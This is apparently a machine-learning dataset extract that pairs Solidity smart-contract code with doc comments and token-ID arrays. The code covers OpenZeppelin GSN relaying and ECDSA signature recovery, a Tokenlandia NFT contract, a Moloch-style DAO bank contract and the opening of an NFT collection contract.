"GSNRecipient: new RelayHub is the current one"); emit RelayHubChanged(currentRelayHub, newRelayHub); _relayHub = newRelayHub; } /** * @dev Returns the version string of the {IRelayHub} for which this recipient implementation was built. If * {_upgradeRelayHub} is used, the new {IRelayHub} instance should be compatible with this version. */ // This function is view for future-proofing, it may require reading from // storage in the future. function relayHubVersion() public view returns (string memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return "1.0.0"; } /** * @dev Withdraws the recipient's deposits in `RelayHub`. * * Derived contracts should expose this in an external interface with proper access control. */ function _withdrawDeposits(uint256 amount, address payable payee) internal { IRelayHub(_relayHub).withdraw(amount, payee); } // Overrides for Context's functions: when called from RelayHub, sender and // data require some pre-processing: the actual sender is stored at the end // of the call data, which in turns means it needs to be removed from it // when handling said data. /** * @dev Replacement for msg.sender. Returns the actual sender of a transaction: msg.sender for regular transactions, * and the end-user for GSN relayed calls (where msg.sender is actually `RelayHub`). * * IMPORTANT: Contracts derived from {GSNRecipient} should never use `msg.sender`, and use {_msgSender} instead. */ function _msgSender() internal view returns (address payable) { if (msg.sender != _relayHub) { return msg.sender; } else { return _getRelayedCallSender(); } } /** * @dev Replacement for msg.data. Returns the actual calldata of a transaction: msg.data for regular transactions, * and a reduced version for GSN relayed calls (where msg.data contains additional information). * * IMPORTANT: Contracts derived from {GSNRecipient} should never use `msg.data`, and use {_msgData} instead. */ function _msgData() internal view returns (bytes memory) { if (msg.sender != _relayHub) { return msg.data; } else { return _getRelayedCallData(); } } // Base implementations for pre and post relayedCall: only RelayHub can invoke them, and data is forwarded to the // internal hook. /** * @dev See `IRelayRecipient.preRelayedCall`. * * This function should not be overriden directly, use `_preRelayedCall` instead. * * * Requirements: * * - the caller must be the `RelayHub` contract. */ function preRelayedCall(bytes calldata context) external returns (bytes32) { require(msg.sender == getHubAddr(), "GSNRecipient: caller is not RelayHub"); return _preRelayedCall(context); } /** * @dev See `IRelayRecipient.preRelayedCall`. * * Called by `GSNRecipient.preRelayedCall`, which asserts the caller is the `RelayHub` contract. Derived contracts * must implement this function with any relayed-call preprocessing they may wish to do. * */ function _preRelayedCall(bytes memory context) internal returns (bytes32); /** * @dev See `IRelayRecipient.postRelayedCall`. * * This function should not be overriden directly, use `_postRelayedCall` instead. * * * Requirements: * * - the caller must be the `RelayHub` contract. */ function postRelayedCall(bytes calldata context, bool success, uint256 actualCharge, bytes32 preRetVal) external { require(msg.sender == getHubAddr(), "GSNRecipient: caller is not RelayHub"); _postRelayedCall(context, success, actualCharge, preRetVal); } /** * @dev See `IRelayRecipient.postRelayedCall`. * * Called by `GSNRecipient.postRelayedCall`, which asserts the caller is the `RelayHub` contract. Derived contracts * must implement this function with any relayed-call postprocessing they may wish to do. * */ function _postRelayedCall(bytes memory context, bool success, uint256 actualCharge, bytes32 preRetVal) internal; /** * @dev Return this in acceptRelayedCall to proceed with the execution of a relayed call. Note that this contract * will be charged a fee by RelayHub */ function _approveRelayedCall() internal pure returns (uint256, bytes memory) { return _approveRelayedCall(""); } /** * @dev See `GSNRecipient._approveRelayedCall`. * * This overload forwards `context` to _preRelayedCall and _postRelayedCall. */ function _approveRelayedCall(bytes memory context) internal pure returns (uint256, bytes memory) { return (RELAYED_CALL_ACCEPTED, context); } /** * @dev Return this in acceptRelayedCall to impede execution of a relayed call. No fees will be charged. */ function _rejectRelayedCall(uint256 errorCode) internal pure returns (uint256, bytes memory) { return (RELAYED_CALL_REJECTED + errorCode, ""); } /* * @dev Calculates how much RelayHub will charge a recipient for using `gas` at a `gasPrice`, given a relayer's * `serviceFee`. */ function _computeCharge(uint256 gas, uint256 gasPrice, uint256 serviceFee) internal pure returns (uint256) { // The fee is expressed as a percentage. E.g. a value of 40 stands for a 40% fee, so the recipient will be // charged for 1.4 times the spent amount. return (gas * gasPrice * (100 + serviceFee)) / 100; } function _getRelayedCallSender() private pure returns (address payable result) { // We need to read 20 bytes (an address) located at array index msg.data.length - 20. In memory, the array // is prefixed with a 32-byte length value, so we first add 32 to get the memory read index. However, doing // so would leave the address in the upper 20 bytes of the 32-byte word, which is inconvenient and would // require bit shifting. We therefore subtract 12 from the read index so the address lands on the lower 20 // bytes. This can always be done due to the 32-byte prefix. // The final memory read index is msg.data.length - 20 + 32 - 12 = msg.data.length. Using inline assembly is the // easiest/most-efficient way to perform this operation. // These fields are not accessible from assembly bytes memory array = msg.data; uint256 index = msg.data.length; // solhint-disable-next-line no-inline-assembly assembly { // Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those. result := and(mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff) } return result; } function _getRelayedCallData() private pure returns (bytes memory) { // RelayHub appends the sender address at the end of the calldata, so in order to retrieve the actual msg.data, // we must strip the last 20 bytes (length of an address type) from it. uint256 actualDataLength = msg.data.length - 20; bytes memory actualData = new bytes(actualDataLength); for (uint256 i = 0; i < actualDataLength; ++i) { actualData[i] = msg.data[i]; } return actualData; } } // File: @openzeppelin/contracts/cryptography/ECDSA.sol pragma solidity ^0.5.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * NOTE: This call _does not revert_ if the signature is invalid, or * if the signer is otherwise unable to be retrieved. In those scenarios, * the zero address is returned. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { return (address(0)); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return address(0); } if (v != 27 && v != 28) { return address(0); } // If the signature is valid (and not malleable), return the signer address return ecrecover(hash, v, r, s); } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } // File: contracts/GSN/TokenLandiaWhitelistGSNRecipient.sol pragma solidity ^0.5.14; /* Based on v2.4.0 of GSNRecipientSignature from openzeppelin */ contract TokenLandiaWhitelistGSNRecipient is WhitelistedRole, GSNRecipient { using ECDSA for bytes32; enum GSNRecipientSignatureErrorCodes { INVALID_SENDER } constructor() public { super.addWhitelisted(_msgSender()); } /** * @dev Ensures that only transactions with a trusted signature can be relayed through the GSN. */ function acceptRelayedCall( address relay, address from, bytes calldata encodedFunction, uint256 transactionFee, uint256 gasPrice, uint256 gasLimit, uint256 nonce, bytes calldata approvalData, uint256 ) external view returns (uint256, bytes memory) { bytes memory blob = abi.encodePacked( relay, from, encodedFunction, transactionFee, gasPrice, gasLimit, nonce, // Prevents replays on RelayHub getHubAddr(), // Prevents replays in multiple RelayHubs address(this) // Prevents replays in multiple recipients ); bool isOriginalCallerWhitelisted = isWhitelisted(keccak256(blob).toEthSignedMessageHash().recover(approvalData)); if (isOriginalCallerWhitelisted) { return _approveRelayedCall(); } else { return _rejectRelayedCall(uint256(GSNRecipientSignatureErrorCodes.INVALID_SENDER)); } } function _preRelayedCall(bytes memory) internal returns (bytes32) { // solhint-disable-previous-line no-empty-blocks } function _postRelayedCall(bytes memory, bool, uint256, bytes32) internal { // solhint-disable-previous-line no-empty-blocks } function upgradeRelayHub(address newRelayHub) external onlyWhitelistAdmin { _upgradeRelayHub(newRelayHub); } } // File: contracts/token/Tokenlandia.sol pragma solidity ^0.5.14; contract Tokenlandia is CustomERC721Full, ITokenlandiaTokenCreator, TokenLandiaWhitelistGSNRecipient { using SafeMath for uint256; string public tokenBaseURI = ""; struct Token { string productCode; string ipfsHash; } mapping(uint256 => Token) internal tokens; // Reverse mapping so we can lookup the token from the product ID mapping(string => uint256) internal productIdToTokenId; modifier onlyWhenTokenExists(uint256 _tokenId) { require(_exists(_tokenId), "Token ID not valid"); _; } constructor (string memory _tokenBaseURI) public CustomERC721Full("TokenLandia NFT", "TLN") TokenLandiaWhitelistGSNRecipient() { tokenBaseURI = _tokenBaseURI; } /** * Mint a token to a specific recipient * @dev Only callable from whitelisted address * @param _tokenId uint256 id of the token * @param _recipient address of the recipient * @param _productCode string the product code identified - [productCode-tokenId] provides a uniqueness guarantee * @param _ipfsHash string the IPFS hash **/ function mintToken( uint256 _tokenId, address _recipient, string calldata _productCode, string calldata _ipfsHash ) external onlyWhitelisted returns (bool success) { require(bytes(_productCode).length > 0, "Product code invalid"); require(bytes(_ipfsHash).length > 0, "IPFS hash invalid"); // Create Token metadata tokens[_tokenId] = Token({ productCode : _productCode, ipfsHash : _ipfsHash }); // Mint token _mint(_recipient, _tokenId); // Create reverse lookup from productId to tokenId productIdToTokenId[string(abi.encodePacked(_productCode, "-", Strings.fromUint256(_tokenId)))] = _tokenId; return true; } function ipfsUrlForProductId(string calldata productId) external view returns ( string memory _ipfsUrl ) { uint256 tokenId = productIdToTokenId[productId]; require(_exists(tokenId), "Token not found for product ID"); return string(abi.encodePacked(tokenBaseURI, tokens[tokenId].ipfsHash)); } function attributes(uint256 _tokenId) external onlyWhenTokenExists(_tokenId) view returns ( string memory _productCode, string memory _productId, string memory _ipfsUrl ) { Token storage token = tokens[_tokenId]; return ( token.productCode, string(abi.encodePacked(token.productCode, "-", Strings.fromUint256(_tokenId))), string(abi.encodePacked(tokenBaseURI, token.ipfsHash)) ); } function productCode(uint256 _tokenId) external onlyWhenTokenExists(_tokenId) view returns (string memory _productCode) { Token storage token = tokens[_tokenId]; return token.productCode; } function productId(uint256 _tokenId) external onlyWhenTokenExists(_tokenId) view returns (string memory _productId) { Token storage token = tokens[_tokenId]; return string(abi.encodePacked(token.productCode, "-", Strings.fromUint256(_tokenId))); } function tokenIdForProductId(string calldata _productId) external view returns (uint256 _tokenId) { return productIdToTokenId[_productId]; } function tokenURI(uint256 _tokenId) external onlyWhenTokenExists(_tokenId) view returns (string memory) { return string(abi.encodePacked(tokenBaseURI, tokens[_tokenId].ipfsHash)); } function tokensOfOwner(address owner) external view returns (uint256[] memory) { return _tokensOfOwner(owner); } function updateProductCode(uint256 _tokenId, string calldata _productCode) external onlyWhitelisted onlyWhenTokenExists(_tokenId) { Token storage token = tokens[_tokenId]; token.productCode = _productCode; productIdToTokenId[string(abi.encodePacked(_productCode, "-", Strings.fromUint256(_tokenId)))] = _tokenId; } function updateIpfsHash(uint256 _tokenId, string calldata _newIpfsHash) external onlyWhitelisted onlyWhenTokenExists(_tokenId) { require(bytes(_newIpfsHash).length != 0, "New IPFS hash invalid"); tokens[_tokenId].ipfsHash = _newIpfsHash; } function updateTokenBaseURI(string calldata _newBaseURI) external onlyWhitelistAdmin { require(bytes(_newBaseURI).length != 0, "Base URI invalid"); tokenBaseURI = _newBaseURI; } /** * @dev Burns a specific token. * @dev Only callable from whitelisted address * @param _tokenId uint256 id of the token to be burned. */ function burn(uint256 _tokenId) public onlyWhitelistAdmin onlyWhenTokenExists(_tokenId) { // Clean up product ID mapping Token storage token = tokens[_tokenId]; delete productIdToTokenId[string(abi.encodePacked(token.productCode, "-", Strings.fromUint256(_tokenId)))]; _burn(_tokenId); } }
Token name Token symbol
contract ERC721MetadataWithoutTokenURI is ERC165, ERC721, IERC721Metadata { string private _name; string private _symbol; bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _registerInterface(_INTERFACE_ID_ERC721_METADATA); } function name() external view returns (string memory) { return _name; } function symbol() external view returns (string memory) { return _symbol; } }
1,014,250
[ 1, 1345, 508, 3155, 3273, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 4232, 39, 27, 5340, 2277, 8073, 1345, 3098, 353, 4232, 39, 28275, 16, 4232, 39, 27, 5340, 16, 467, 654, 39, 27, 5340, 2277, 288, 203, 565, 533, 3238, 389, 529, 31, 203, 203, 565, 533, 3238, 389, 7175, 31, 203, 203, 565, 1731, 24, 3238, 5381, 389, 18865, 67, 734, 67, 654, 39, 27, 5340, 67, 22746, 273, 374, 92, 25, 70, 25, 73, 24347, 74, 31, 203, 203, 203, 565, 3885, 261, 1080, 3778, 508, 16, 533, 3778, 3273, 13, 1071, 288, 203, 3639, 389, 529, 273, 508, 31, 203, 3639, 389, 7175, 273, 3273, 31, 203, 203, 3639, 389, 4861, 1358, 24899, 18865, 67, 734, 67, 654, 39, 27, 5340, 67, 22746, 1769, 203, 565, 289, 203, 203, 565, 445, 508, 1435, 3903, 1476, 1135, 261, 1080, 3778, 13, 288, 203, 3639, 327, 389, 529, 31, 203, 565, 289, 203, 203, 565, 445, 3273, 1435, 3903, 1476, 1135, 261, 1080, 3778, 13, 288, 203, 3639, 327, 389, 7175, 31, 203, 565, 289, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/100/0x66d78Fecd6f87AC2B9E82754836984EFa79943Eb/sources/contracts/BugReportNotary.sol
keccak256(report root, triager address) => report's statuses (bit field) as reported by triager
mapping (bytes32 => TimestampPadded) public reportStatuses;
14,266,658
[ 1, 79, 24410, 581, 5034, 12, 6006, 1365, 16, 6882, 6817, 1758, 13, 516, 2605, 1807, 13516, 261, 3682, 652, 13, 487, 14010, 635, 6882, 6817, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 2874, 261, 3890, 1578, 516, 8159, 52, 9665, 13, 1071, 2605, 15220, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.7.0; // SPDX-License-Identifier: MIT import "../Registry.sol"; import "../Module.sol"; import "../interfaces/IBank.sol"; import "../interfaces/IMember.sol"; import "../../guards/ModuleGuard.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract BankContract is IBank, Module, ModuleGuard { using SafeMath for uint256; event TokensCollected( address indexed moloch, address indexed token, uint256 amountToCollect ); event Transfer( address indexed fromAddress, address indexed toAddress, address token, uint256 amount ); address public constant GUILD = address(0xdead); address public constant ESCROW = address(0xbeef); address public constant TOTAL = address(0xbabe); uint256 public constant MAX_TOKENS = 100; struct BankingState { address[] tokens; mapping(address => bool) availableTokens; mapping(address => mapping(address => uint256)) tokenBalances; } mapping(address => BankingState) states; function addToEscrow( Registry dao, address token, uint256 amount ) external override onlyModule(dao) { require( token != GUILD && token != ESCROW && token != TOTAL, "invalid token" ); unsafeAddToBalance(address(dao), ESCROW, token, amount); if (!states[address(dao)].availableTokens[token]) { require( states[address(dao)].tokens.length < MAX_TOKENS, "max limit reached" ); states[address(dao)].availableTokens[token] = true; states[address(dao)].tokens.push(token); } } function addToGuild( Registry dao, address token, uint256 amount ) external override onlyModule(dao) { require( token != GUILD && token != ESCROW && token != TOTAL, "invalid token" ); unsafeAddToBalance(address(dao), GUILD, token, amount); if (!states[address(dao)].availableTokens[token]) { require( states[address(dao)].tokens.length < MAX_TOKENS, "max limit reached" ); states[address(dao)].availableTokens[token] = true; states[address(dao)].tokens.push(token); } } function transferFromGuild( Registry dao, address applicant, address token, uint256 amount ) external override onlyModule(dao) { require( states[address(dao)].tokenBalances[GUILD][token] >= amount, "insufficient balance" ); unsafeSubtractFromBalance(address(dao), GUILD, token, amount); unsafeAddToBalance(address(dao), applicant, token, amount); emit Transfer(GUILD, applicant, token, amount); } function ragequit( Registry dao, address memberAddr, uint256 sharesToBurn ) external override onlyModule(dao) { //Get the total shares before burning member shares IMember memberContract = IMember(dao.getAddress(MEMBER_MODULE)); uint256 totalShares = memberContract.getTotalShares(); //Burn shares if member has enough shares memberContract.burnShares(dao, memberAddr, sharesToBurn); //Update internal Guild and Member balances for (uint256 i = 0; i < states[address(dao)].tokens.length; i++) { address token = states[address(dao)].tokens[i]; uint256 amountToRagequit = fairShare( states[address(dao)].tokenBalances[GUILD][token], sharesToBurn, totalShares ); if (amountToRagequit > 0) { // gas optimization to allow a higher maximum token limit // deliberately not using safemath here to keep overflows from preventing the function execution // (which would break ragekicks) if a token overflows, // it is because the supply was artificially inflated to oblivion, so we probably don't care about it anyways states[address(dao)].tokenBalances[GUILD][ token ] -= amountToRagequit; states[address(dao)].tokenBalances[memberAddr][ token ] += amountToRagequit; //TODO: do we want to emit an event for each token transfer? // emit Transfer(GUILD, applicant, token, amount); } } } function isNotReservedAddress(address applicant) external pure override returns (bool) { return applicant != address(0x0) && applicant != GUILD && applicant != ESCROW && applicant != TOTAL; } /** * Public read-only functions */ function balanceOf( Registry dao, address user, address token ) external view override returns (uint256) { return states[address(dao)].tokenBalances[user][token]; } /** * Internal bookkeeping */ function unsafeAddToBalance( address dao, address user, address token, uint256 amount ) internal { states[dao].tokenBalances[user][token] += amount; states[dao].tokenBalances[TOTAL][token] += amount; } function unsafeSubtractFromBalance( address dao, address user, address token, uint256 amount ) internal { states[dao].tokenBalances[user][token] -= amount; states[dao].tokenBalances[TOTAL][token] -= amount; } function unsafeInternalTransfer( address dao, address from, address to, address token, uint256 amount ) internal { unsafeSubtractFromBalance(dao, from, token, amount); unsafeAddToBalance(dao, to, token, amount); } /** * Internal utility */ function fairShare( uint256 balance, uint256 shares, uint256 _totalShares ) internal pure returns (uint256) { require(_totalShares != 0, "total shares should not be 0"); if (balance == 0) { return 0; } uint256 prod = balance * shares; if (prod / balance == shares) { // no overflow in multiplication above? return prod / _totalShares; } return (balance / _totalShares) * shares; } }
* Public read-only functions/
function balanceOf( Registry dao, address user, address token ) external view override returns (uint256) { return states[address(dao)].tokenBalances[user][token]; }
15,805,047
[ 1, 4782, 855, 17, 3700, 4186, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 11013, 951, 12, 203, 3639, 5438, 15229, 16, 203, 3639, 1758, 729, 16, 203, 3639, 1758, 1147, 203, 565, 262, 3903, 1476, 3849, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 5493, 63, 2867, 12, 2414, 83, 13, 8009, 2316, 38, 26488, 63, 1355, 6362, 2316, 15533, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: Apache-2.0 // 人類の反撃はこれからだ。 // jinrui no hangeki wa kore kara da. // Source code heavily inspired from deployed contract instance of Azuki collection // https://etherscan.io/address/0xed5af388653567af2f388e6224dc7c4b3241c544#code // The source code in the github does not have some important features. // This is why we used directly the code from the deployed version. pragma solidity >=0.8.12; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "./ERC721A.sol"; import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol"; /// @title KomorebiNoSekai NFT collection /// @author 0xmanga-eth contract KomorebiNoSekai is Ownable, ERC721A, ReentrancyGuard, VRFConsumerBase { using SafeMath for uint256; uint256 public immutable maxPerAddressDuringMint; uint256 public immutable amountForDevs; address public constant AZUKI_ADDRESS = 0xED5AF388653567Af2F388E6224dC7C4b3241C544; string constant ERROR_NOT_ENOUGH_LINK = "not enough LINK"; // Furaribi (ふらり火, Furaribi) are the ghost of those murdered // in cold blood by an angry samurai. // They get their namesake from them wandering // aimlessly around the edges of lakes and rivers. uint8 public constant FURARIBI_SIDE = 1; // ナイト Naito (from english: "Knight") // ライト Raito (from english: "Light") // They fight against Furaribi spirits to protect humans. uint8 public constant NAITO_RAITO_SIDE = 2; struct SaleConfig { uint32 whitelistSaleStartTime; uint32 saleStartTime; uint64 mintlistPrice; uint64 price; } struct Gift { address collectionAddress; uint256[] ids; } // The sale configuration SaleConfig public saleConfig; // Whitelisted addresses mapping(address => uint8) public _allowList; // Whitelisted NFT collections address[] public _whitelistedCollections; // Per user assigned side mapping(address => uint8) private _side; // The winner NFT id uint256 public giftsWinnerTokenId; // The winner of the gifts address public giftsWinnerAddress; // The list of NFT gifts Gift[] public gifts; // The chainlink request id for VRF bytes32 selectRandomGiftWinnerRequestId; // Chainlink configuration address _vrfCoordinator; address _linkToken; bytes32 _vrfKeyHash; uint256 _vrfFee; constructor( uint256 maxBatchSize_, uint256 collectionSize_, uint256 amountForDevs_, address 